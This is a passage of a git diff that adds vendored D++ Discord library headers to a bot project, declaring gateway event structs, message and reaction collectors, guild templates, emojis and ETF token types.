guild_role_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_role_update_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where roles are being updated + */ + guild* updating_guild; + /** + * @brief the role being updated + */ + role* updated; +}; + +/** @brief Guild role delete */ +struct DPP_EXPORT guild_role_delete_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_role_delete_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where role is being deleted + */ + guild* deleting_guild; + /** + * @brief role being deleted + */ + role* deleted; +}; + +/** @brief Channel pins update */ +struct DPP_EXPORT channel_pins_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + channel_pins_update_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where message is bieng pinned + */ + guild* pin_guild; + /** + * @brief channel where message is being pinned + */ + channel* pin_channel; + /** + * @brief timestamp of pin + */ + time_t timestamp; +}; + +/** @brief Message remove all reactions */ +struct DPP_EXPORT message_reaction_remove_all_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + message_reaction_remove_all_t(class discord_client* client, const std::string& raw); + /** + * @brief Guild reaction occurred on + */ + guild* reacting_guild; + /** + * @brief channel the reaction happened on + */ + channel* reacting_channel; + /** + * @brief message id of the message reacted upon + */ + snowflake message_id; + +}; + +/** @brief Voice server update */ +struct DPP_EXPORT voice_server_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + voice_server_update_t(class discord_client* client, const std::string& raw); + /** + * @brief guild id where voice server updated + */ + snowflake guild_id; + /** + * @brief voice server token, used to connect to vc + */ + std::string token; + /** + * @brief voice server endpoint wss:// address + * + */ + std::string endpoint; +}; + +/** @brief Guild emojis update */ +struct DPP_EXPORT guild_emojis_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_emojis_update_t(class discord_client* client, const std::string& raw); + /** + * @brief snowflake ids of list of emojis + */ + std::vector emojis; + /** + * @brief guild where emojis are being updated + */ + guild* updating_guild; +}; + +/** + * @brief Presence update + * + */ +struct DPP_EXPORT presence_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + presence_update_t(class discord_client* client, const std::string& raw); + /** + * @brief rich presence being updated + */ + presence rich_presence; +}; + +/** @brief Webhooks update */ +struct DPP_EXPORT webhooks_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + webhooks_update_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where webhooks are being updated + */ + guild* webhook_guild; + /** + * @brief channel where webhooks are being updated + */ + channel* webhook_channel; +}; + +/** @brief Guild member add */ +struct DPP_EXPORT guild_member_add_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_member_add_t(class discord_client* client, const std::string& raw); + /** + * @brief guild which gained new member + */ + guild* adding_guild; + /** + * @brief member which was added + */ + guild_member added; +}; + +/** @brief Invite delete */ +struct DPP_EXPORT invite_delete_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + invite_delete_t(class discord_client* client, const std::string& raw); + /** + * @brief the deleted invite + */ + invite deleted_invite; +}; + +/** @brief Guild update */ +struct DPP_EXPORT guild_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_update_t(class discord_client* client, const std::string& raw); + /** + * @brief guild being updated + */ + guild* updated; +}; + +/** @brief Guild integrations update */ +struct DPP_EXPORT guild_integrations_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_integrations_update_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where integrations are being updated + */ + guild* updating_guild; +}; + +/** @brief Guild member update */ +struct DPP_EXPORT guild_member_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_member_update_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where member is being updated + */ + guild* updating_guild; + /** + * @brief member being updated + */ + guild_member updated; +}; + +/** + * @brief Update application slash command + * + */ +struct DPP_EXPORT application_command_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + application_command_update_t(class discord_client* client, const std::string& raw); +}; + +/** @brief Invite create */ +struct DPP_EXPORT invite_create_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + invite_create_t(class discord_client* client, const std::string& raw); + /** + * @brief created invite + */ + invite created_invite; +}; + +/** @brief Message update */ +struct DPP_EXPORT message_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + message_update_t(class discord_client* client, const std::string& raw); + /** + * @brief message being updated + */ + message* updated; +}; + +/** @brief User update */ +struct DPP_EXPORT user_update_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + user_update_t(class discord_client* client, const std::string& raw); + /** + * @brief user being updated + */ + user updated; +}; + +/** @brief Create message */ +struct DPP_EXPORT message_create_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + message_create_t(class discord_client* client, const std::string& raw); + /** + * @brief message that was created (sent). + */ + message msg; + /** + * @brief Send a text to the same channel as the channel_id in recieved event. + * @param m Text to send + * @param callback User function to execute once the API call completes. + * @note confirmation_callback_t::value contains a message object on success. On failure, value is undefined and confirmation_callback_t::is_error() is true. + */ + void send(const std::string& m, command_completion_event_t callback = {}) const; + /** + * @brief Send a message to the same channel as the channel_id in recieved event. + * @param msg Message to send + * @param callback User function to execute once the API call completes. + * @note confirmation_callback_t::value contains a message object on success. On failure, value is undefined and confirmation_callback_t::is_error() is true. + */ + void send(message& msg, command_completion_event_t callback = {}) const; + /** + * @brief Send a message to the same channel as the channel_id in recieved event. + * @param msg Message to send + * @param callback User function to execute once the API call completes. + * @note confirmation_callback_t::value contains a message object on success. On failure, value is undefined and confirmation_callback_t::is_error() is true. + */ + void send(message&& msg, command_completion_event_t callback = {}) const; + /** + * @brief Reply to the message recieved in the event. + * @param m Text to send + * @param mention_replied_user mentions (pings) the author of message replied to, if true + * @param callback User function to execute once the API call completes. + * @note confirmation_callback_t::value contains a message object on success. On failure, value is undefined and confirmation_callback_t::is_error() is true. + */ + void reply(const std::string& m, bool mention_replied_user = false, command_completion_event_t callback = {}) const; + /** + * @brief Reply to the message recieved in the event. + * @param msg Message to send as a reply. + * @param mention_replied_user mentions (pings) the author of message replied to, if true + * @param callback User function to execute once the API call completes. + * @note confirmation_callback_t::value contains a message object on success. On failure, value is undefined and confirmation_callback_t::is_error() is true. + */ + void reply(message& msg, bool mention_replied_user = false, command_completion_event_t callback = {}) const; + /** + * @brief Reply to the message recieved in the event. + * @param msg Message to send as a reply. + * @param mention_replied_user mentions (pings) the author of message replied to, if true + * @param callback User function to execute once the API call completes. + * @note confirmation_callback_t::value contains a message object on success. On failure, value is undefined and confirmation_callback_t::is_error() is true. + */ + void reply(message&& msg, bool mention_replied_user = false, command_completion_event_t callback = {}) const; +}; + +/** @brief Guild ban add */ +struct DPP_EXPORT guild_ban_add_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_ban_add_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where ban was added + */ + guild* banning_guild; + /** + * @brief user being banned + */ + user banned; +}; + +/** @brief Guild ban remove */ +struct DPP_EXPORT guild_ban_remove_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + guild_ban_remove_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where ban is being removed + */ + guild* unbanning_guild; + /** + * @brief user being unbanned + */ + user unbanned; +}; + +/** @brief Integration create */ +struct DPP_EXPORT integration_create_t : public event_dispatch_t { + /** Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + integration_create_t(class discord_client* client, const std::string& raw); + /** + * @brief created integration + */ + integration created_integration; +}; + +/** @brief Integration update */ +struct DPP_EXPORT integration_update_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + integration_update_t(class discord_client* client, const std::string& raw); + /** + * @brief updated integration + */ + integration updated_integration; +}; + +/** @brief Integration delete */ +struct DPP_EXPORT integration_delete_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + integration_delete_t(class discord_client* client, const std::string& raw); + /** + * @brief deleted integration + */ + integration deleted_integration; +}; + +/** @brief Thread Create*/ +struct DPP_EXPORT thread_create_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + thread_create_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where thread was created + */ + guild* creating_guild; + /** + * @brief thread created + */ + thread created; +}; + +/** @brief Thread Update +*/ +struct DPP_EXPORT thread_update_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + thread_update_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where thread was updated + */ + guild* updating_guild; + /** + * @brief thread updated + */ + thread updated; +}; + +/** @brief Thread Delete + */ +struct DPP_EXPORT thread_delete_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + thread_delete_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where thread was deleted + */ + guild* deleting_guild; + /** + * @brief thread deleted + */ + thread deleted; +}; + +/** @brief Thread List Sync + */ +struct DPP_EXPORT thread_list_sync_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + thread_list_sync_t(class discord_client* client, const std::string& raw); + /** + * @brief guild where thread list was synchronised + */ + guild* updating_guild; + /** + * @brief list of threads (channels) synchronised + */ + std::vector threads; + /** + * @brief list of thread members for the channels (threads) + */ + std::vector members; +}; + +/** @brief Thread Member Update + */ +struct DPP_EXPORT thread_member_update_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + thread_member_update_t(class discord_client* client, const std::string& raw); + /** + * @brief updated thread member + */ + thread_member updated; +}; + +/** @brief Thread Members Update + */ +struct DPP_EXPORT thread_members_update_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on + * @param raw Raw event text as JSON + */ + thread_members_update_t(class discord_client* client, const std::string& raw); + /** + * @brief thread (channel) id + */ + snowflake thread_id; + /** + * @brief guild thread members updated on + */ + guild* updating_guild; + /** + * @brief new approximate member count + */ + uint8_t member_count; + /** + * @brief added members + */ + std::vector added; + /** + * @brief ids only of removed members + */ + std::vector removed_ids; +}; + +/** @brief voice buffer send + */ +struct DPP_EXPORT voice_buffer_send_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on + * WILL ALWAYS be NULL. + * @param raw Raw event text as JSON + */ + voice_buffer_send_t(class discord_client* client, const std::string &raw); + /** + * @brief voice client where buffer was sent + */ + class discord_voice_client* voice_client; + /** + * @brief encoded size of sent buffer + */ + int buffer_size; +}; + +/** @brief voice user talking */ +struct DPP_EXPORT voice_user_talking_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on + * WILL ALWAYS be NULL. + * @param raw Raw event text as JSON + */ + voice_user_talking_t(class discord_client* client, const std::string &raw); + /** + * @brief voice client where user is talking + */ + class discord_voice_client* voice_client; + /** + * @brief talking user id + */ + snowflake user_id; + /** + * @brief flags for talking user + */ + uint8_t talking_flags; +}; + +/** @brief voice user talking */ +struct DPP_EXPORT voice_ready_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on + * WILL ALWAYS be NULL. + * @param raw Raw event text as JSON + */ + voice_ready_t(class discord_client* client, const std::string &raw); + /** + * @brief voice client which is ready + */ + class discord_voice_client* voice_client; + /** + * @brief id of voice channel + */ + snowflake voice_channel_id; +}; + +/** @brief voice receive packet */ +struct DPP_EXPORT voice_receive_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on. + * WILL ALWAYS be NULL. + * @param raw Raw event text as JSON + */ + voice_receive_t(class discord_client* client, const std::string &raw); + class discord_voice_client* voice_client; + /** + * @brief Audio data, encoded as 48kHz stereo PCM or Opus + */ + uint8_t* audio; + /** + * @brief Size of audio buffer + */ + size_t audio_size; + /** + * @brief User ID of speaker (zero if unknown) + */ + snowflake user_id; +}; + +/** @brief voice client speaking event */ +struct DPP_EXPORT voice_client_speaking_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on. + * WILL ALWAYS be NULL. + * @param raw Raw event text as JSON + */ + voice_client_speaking_t(class discord_client* client, const std::string &raw); + /** + * @brief voice client where user is speaking + */ + class discord_voice_client* voice_client; + /** + * @brief speaking user id + * + */ + snowflake user_id; + /** + * @brief ssrc value of speaking user + */ + uint32_t ssrc; +}; + +/** @brief voice client disconnect event */ +struct DPP_EXPORT voice_client_disconnect_t : public event_dispatch_t { + /** + * @brief Constructor + * @param client The shard the event originated on. + * WILL ALWAYS be NULL. + * @param raw Raw event text as JSON + */ + voice_client_disconnect_t(class discord_client* client, const std::string &raw); + /** + * @brief voice client where user disconnected + */ + class discord_voice_client* voice_client; + /** + * @brief user id of user who left vc + */ + snowflake user_id; +}; + +}; + diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/dpp.h b/MyBot/dependencies/include/dpp-9.0/dpp/dpp.h new file mode 100644 index 0000000..5ef94b0 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/dpp.h @@ -0,0 +1,327 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +namespace dpp { + +/** + * @brief Represents a reaction. + * Can be filled for use in a collector + */ +class collected_reaction : public managed { +public: + /// Reacting user + user react_user; + /// Reacting guild + guild* react_guild; + /// Reacting guild member + guild_member react_member; + /// Reacting channel + channel* react_channel; + /// Reacted emoji + emoji react_emoji; +}; + +/** + * @brief Temlate type for base class of channel collector + */ +typedef dpp::collector channel_collector_t; + +/** + * @brief Temlate type for base class of thread collector + */ +typedef dpp::collector thread_collector_t; + +/** + * @brief Temlate type for base class of role collector + */ +typedef dpp::collector role_collector_t; + +/** + * @brief Temlate type for base class of scheduled event collector + */ +typedef dpp::collector scheduled_event_collector_t; + +/** + * @brief Temlate type for base class of message collector + */ +typedef dpp::collector message_collector_t; + +/** + * @brief Temlate type for base class of message reaction collector + */ +typedef dpp::collector reaction_collector_t; + +/** + * @brief Message collector. + * Collects messages during a set timeframe and returns them in a list via the completed() method. + */ +class message_collector : public message_collector_t { +public: + /** + * @brief Construct a new message collector object + * + * @param cl cluster to associate the collector with + * @param duration Duration of time to run the collector for in seconds + */ + message_collector(cluster* cl, uint64_t duration) : message_collector_t::collector(cl, duration, cl->on_message_create) { } + + /** + * @brief Return the completed collection + * + * @param list items collected during the timeframe specified + */ + virtual void completed(const std::vector& list) = 0; + + /** + * @brief Select and filter the items which are to appear in the list + * This is called every time a new event is fired, to filter the event and determine which + * of the items is sent to the list. Returning nullptr excludes the item from the list. + * + * @param element element to filter + * @return Returned item to add to the list, or nullptr to skip adding this element + */ + virtual const dpp::message* filter(const dpp::message_create_t& element) { return &element.msg; } + + /** + * @brief Destroy the message collector object + */ + virtual ~message_collector() = default; +}; + +/** + * @brief Reaction collector. + * Collects message reactions during a set timeframe and returns them in a list via the completed() method. + */ +class reaction_collector : public reaction_collector_t { + snowflake message_id; + collected_reaction react; +public: + /** + * @brief Construct a new reaction collector object + * + * @param cl cluster to associate the collector with + * @param duration Duration of time to run the collector for in seconds + * @param msg_id Optional message ID. If specified, only collects reactions for the given message + */ + reaction_collector(cluster* cl, uint64_t duration, snowflake msg_id = 0) : reaction_collector_t::collector(cl, duration, cl->on_message_reaction_add), message_id(msg_id) { } + + /** + * @brief Return the completed collection + * + * @param list items collected during the timeframe specified + */ + virtual void completed(const std::vector& list) = 0; + + /** + * @brief Select and filter the items which are to appear in the list + * This is called every time a new event is fired, to filter the event and determine which + * of the items is sent to the list. Returning nullptr excludes the item from the list. + * + * @param element element to filter + * @return Returned item to add to the list, or nullptr to skip adding this element + */ + virtual const dpp::collected_reaction* filter(const dpp::message_reaction_add_t& element) { + /* Capture reactions for given message ID only */ + if (message_id == 0 || element.message_id == message_id) { + react.id = element.message_id; + react.react_user = element.reacting_user; + react.react_guild = element.reacting_guild; + react.react_member = element.reacting_member; + react.react_channel = element.reacting_channel; + react.react_emoji = element.reacting_emoji; + return &react; + } else { + return nullptr; + } + } + + /** + * @brief Destroy the reaction collector object + */ + virtual ~reaction_collector() = default; +}; + +/** + * @brief Channel collector. + * Collects channels during a set timeframe and returns them in a list via the completed() method. + */ +class channel_collector : public channel_collector_t { +public: + /** + * @brief Construct a new channel collector object + * + * @param cl cluster to associate the collector with + * @param duration Duration of time to run the collector for in seconds + */ + channel_collector(cluster* cl, uint64_t duration) : channel_collector_t::collector(cl, duration, cl->on_channel_create) { } + + /** + * @brief Return the completed collection + * + * @param list items collected during the timeframe specified + */ + virtual void completed(const std::vector& list) = 0; + + /** + * @brief Select and filter the items which are to appear in the list + * This is called every time a new event is fired, to filter the event and determine which + * of the items is sent to the list. Returning nullptr excludes the item from the list. + * + * @param element element to filter + * @return Returned item to add to the list, or nullptr to skip adding this element + */ + virtual const dpp::channel* filter(const dpp::channel_create_t& element) { return element.created; } + + /** + * @brief Destroy the channel collector object + */ + virtual ~channel_collector() = default; +}; + +/** + * @brief Thread collector. + * Collects threads during a set timeframe and returns them in a list via the completed() method. + */ +class thread_collector : public thread_collector_t { +public: + /** + * @brief Construct a new thread collector object + * + * @param cl cluster to associate the collector with + * @param duration Duration of time to run the collector for in seconds + */ + thread_collector(cluster* cl, uint64_t duration) : thread_collector_t::collector(cl, duration, cl->on_thread_create) { } + + /** + * @brief Return the completed collection + * + * @param list items collected during the timeframe specified + */ + virtual void completed(const std::vector& list) = 0; + + /** + * @brief Select and filter the items which are to appear in the list + * This is called every time a new event is fired, to filter the event and determine which + * of the items is sent to the list. Returning nullptr excludes the item from the list. + * + * @param element element to filter + * @return Returned item to add to the list, or nullptr to skip adding this element + */ + virtual const dpp::thread* filter(const dpp::thread_create_t& element) { return &element.created; } + + /** + * @brief Destroy the thread collector object + */ + virtual ~thread_collector() = default; +}; + +/** + * @brief Role collector. + * Collects guild roles during a set timeframe and returns them in a list via the completed() method. + */ +class role_collector : public role_collector_t { +public: + /** + * @brief Construct a new role collector object + * + * @param cl cluster to associate the collector with + * @param duration Duration of time to run the collector for in seconds + */ + role_collector(cluster* cl, uint64_t duration) : role_collector_t::collector(cl, duration, cl->on_guild_role_create) { } + + /** + * @brief Return the completed collection + * + * @param list items collected during the timeframe specified + */ + virtual void completed(const std::vector& list) = 0; + + /** + * @brief Select and filter the items which are to appear in the list + * This is called every time a new event is fired, to filter the event and determine which + * of the items is sent to the list. Returning nullptr excludes the item from the list. + * + * @param element element to filter + * @return Returned item to add to the list, or nullptr to skip adding this element + */ + virtual const dpp::role* filter(const dpp::guild_role_create_t& element) { return element.created; } + + /** + * @brief Destroy the role collector object + */ + virtual ~role_collector() = default; +}; + +/** + * @brief Scheduled event collector. + * Collects messages during a set timeframe and returns them in a list via the completed() method. + */ +class scheduled_event_collector : public scheduled_event_collector_t { +public: + /** + * @brief Construct a new scheduled event collector object + * + * @param cl cluster to associate the collector with + * @param duration Duration of time to run the collector for in seconds + */ + scheduled_event_collector(cluster* cl, uint64_t duration) : scheduled_event_collector_t::collector(cl, duration, cl->on_guild_scheduled_event_create) { } + + /** + * @brief Return the completed collection + * + * @param list items collected during the timeframe specified + */ + virtual void completed(const std::vector& list) = 0; + + /** + * @brief Select and filter the items which are to appear in the list + * This is called every time a new event is fired, to filter the event and determine which + * of the items is sent to the list. Returning nullptr excludes the item from the list. + * + * @param element element to filter + * @return Returned item to add to the list, or nullptr to skip adding this element + */ + virtual const dpp::scheduled_event* filter(const dpp::guild_scheduled_event_create_t& element) { return &element.created; } + + /** + * @brief Destroy the scheduled event collector object + */ + virtual ~scheduled_event_collector() = default; +}; + +}; \ No newline at end of file diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/dtemplate.h b/MyBot/dependencies/include/dpp-9.0/dpp/dtemplate.h new file mode 100644 index 0000000..71b617e --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/dtemplate.h @@ -0,0 +1,94 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ +#pragma once +#include +#include +#include + +namespace dpp { + +/** + * @brief Represents a guild template + */ +class DPP_EXPORT dtemplate { +public: + /** + * @brief Template code + */ + std::string code; + /** + * @brief Template name + */ + std::string name; + /** + * @brief Template description + */ + std::string description; + /** + * @brief Usage counter + */ + uint32_t usage_count; + /** + * @brief User ID of creator + */ + snowflake creator_id; + /** + * @brief Creation date/time + * + */ + time_t created_at; + /** + * @brief Last update date/time + */ + time_t updated_at; + /** + * @brief Guild id the template is created from + */ + snowflake source_guild_id; + /** + * @brief True if needs synchronising + */ + bool is_dirty; + + /** + * @brief Construct a new dtemplate object + */ + dtemplate(); + + /** + * @brief Destroy the dtemplate object + */ + ~dtemplate(); + + /** Read class values from json object + * @param j A json object to read from + * @return A reference to self + */ + dtemplate& fill_from_json(nlohmann::json* j); + std::string build_json() const; + +}; + +/** A container of invites */ +typedef std::unordered_map dtemplate_map; + + +}; diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/emoji.h b/MyBot/dependencies/include/dpp-9.0/dpp/emoji.h new file mode 100644 index 0000000..8880382 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/emoji.h @@ -0,0 +1,163 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ +#pragma once +#include +#include +#include + +namespace dpp { + +#define MAX_EMOJI_SIZE 256 * 1024 + +/** + * @brief Flags for dpp::emoji + */ +enum emoji_flags : uint8_t { + /// Emoji requires colons + e_require_colons = 0b00000001, + /// Managed (introduced by application) + e_managed = 0b00000010, + /// Animated + e_animated = 0b00000100, + /// Available (false if the guild doesn't meet boosting criteria, etc) + e_available = 0b00001000, +}; + +/** + * @brief Represents an emoji for a dpp::guild + */ +class DPP_EXPORT emoji : public managed { +public: + /** + * @brief Emoji name + */ + std::string name; + /** + * @brief User id who uploaded the emoji + */ + snowflake user_id; + /** + * @brief Flags for the emoji from dpp::emoji_flags + */ + uint8_t flags; + /** + * @brief Image data for the emoji if uploading + */ + std::string* image_data; + + /** + * @brief Construct a new emoji object + */ + emoji(); + + /** + * @brief Construct a new emoji object with name, ID and flags + * + * @param n The emoji's name + * @param i ID, if it has one (unicode does not) + * @param f Emoji flags (emoji_flags) + */ + emoji(const std::string n, const snowflake i = 0, const uint8_t f = 0); + + /** + * @brief Destroy the emoji object + */ + virtual ~emoji(); + + /** + * @brief Read class values from json object + * + * @param j A json object to read from + * @return A reference to self + */ + emoji& fill_from_json(nlohmann::json* j); + + /** + * @brief Build the json for this object + * + * @param with_id include the id in the JSON + * @return std::string json data + */ + std::string build_json(bool with_id = false) const; + + /** + * @brief Emoji requires colons + * + * @return true Requires colons + * @return false Does not require colons + */ + bool requires_colons() const; + + /** + * @brief Emoji is managed + * + * @return true Is managed + * @return false Is not managed + */ + bool is_managed() const; + + /** + * @brief Emoji is animated + * + * @return true Is animated + * @return false Is noy animated + */ + bool is_animated() const; + + /** + * @brief Is available + * + * @return true Is available + * @return false Is unavailable + */ + bool is_available() const; + + /** + * @brief Load an image into the object as base64 + * + * @param image_blob Image binary data + * @param type Type of image + * @return emoji& Reference to self + * @throw dpp::exception Image content exceeds discord maximum of 256 kilobytes + */ + emoji& load_image(const std::string &image_blob, const image_type type); + + /** + * @brief Format to name if unicode, name:id if has id or a:name:id if animated + * + * @return Formatted name for reactions + */ + std::string format() const; + + /** + * @brief Get the mention/ping for the emoji + * + * @return std::string mention + */ + std::string get_mention() const; +}; + +/** + * @brief Group of emojis + */ +typedef std::unordered_map emoji_map; + +}; diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/etf.h b/MyBot/dependencies/include/dpp-9.0/dpp/etf.h new file mode 100644 index 0000000..15ebcff --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/etf.h @@ -0,0 +1,642 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * Parts of this file inspired by, or outright copied from erlpack: + * https://github.com/discord/erlpack/ + * + * Acknowledgements: + * + * sysdep.h: + * Based on work by FURUHASHI Sadayuki in msgpack-python + * (https://github.com/msgpack/msgpack-python) + * + * Copyright (C) 2008-2010 FURUHASHI Sadayuki + * Licensed under the Apache License, Version 2.0 (the "License"). + * + ************************************************************************************/ + +#pragma once +#include +#include +#include + +namespace dpp { + +/** Current ETF format version in use */ +const uint8_t FORMAT_VERSION = 131; + +/** + * @brief Represents a token which identifies the type of value which follows it + * in the ETF binary structure. + */ +enum etf_token_type : uint8_t { + /// 68 [Distribution header] + ett_distribution = 'D', + /// 70 [Float64:IEEE float] + ett_new_float = 'F', + /// 77 [UInt32:Len, UInt8:Bits, Len:Data] + ett_bit_binary = 'M', + /// 80 [UInt4:UncompressedSize, N:ZlibCompressedData] + ett_compressed = 'P', + /// 97 [UInt8:Int] + ett_smallint = 'a', + /// 98 [Int32:Int] + ett_integer = 'b', + /// 99 [31:Float String] Float in string format (formatted "%.20e", sscanf "%lf"). Superseded by ett_new_float + ett_float = 'c', + /// 100 [UInt16:Len, Len:AtomName] max Len is 255 + ett_atom = 'd', + /// 101 [atom:Node, UInt32:ID, UInt8:Creation] + ett_reference = 'e', + /// 102 [atom:Node, UInt32:ID, UInt8:Creation] + ett_port = 'f', + /// 103 [atom:Node, UInt32:ID, UInt32:Serial, UInt8:Creation] + ett_pid = 'g', + /// 104 [UInt8:Arity, N:Elements] + ett_small_tuple = 'h', + /// 105 [UInt32:Arity, N:Elements] + ett_large_tuple = 'i', + /// 106 empty list + ett_nil = 'j', + /// 107 [UInt16:Len, Len:Characters] + ett_string = 'k', + /// 108 [UInt32:Len, Elements, Tail] + ett_list = 'l', + /// 109 [UInt32:Len, Len:Data] + ett_binary = 'm', + /// 110 [UInt8:n, UInt8:Sign, n:nums] + ett_bigint_small = 'n', + /// 111 [UInt32:n, UInt8:Sign, n:nums] + ett_bigint_large = 'o', + /// 112 [UInt32:Size, UInt8:Arity, 16*Uint6-MD5:Uniq, UInt32:Index, UInt32:NumFree, atom:Module, int:OldIndex, int:OldUniq, pid:Pid, NunFree*ext:FreeVars] + ett_new_function = 'p', + /// 113 [atom:Module, atom:Function, smallint:Arity] + ett_export = 'q', + /// 114 [UInt16:Len, atom:Node, UInt8:Creation, Len*UInt32:ID] + ett_new_reference = 'r', + /// 115 [UInt8:Len, Len:AtomName] + ett_atom_small = 's', + /// 116 [UInt32:Airty, N:Pairs] + ett_map = 't', + /// 117 [UInt4:NumFree, pid:Pid, atom:Module, int:Index, int:Uniq, NumFree*ext:FreeVars] + ett_function = 'u', + /// 118 [UInt16:Len, Len:AtomName] max Len is 255 characters (up to 4 bytes per) + ett_atom_utf8 = 'v', + /// 119 [UInt8:Len, Len:AtomName] + ett_atom_utf8_small = 'w' +}; + +/** + * @brief A 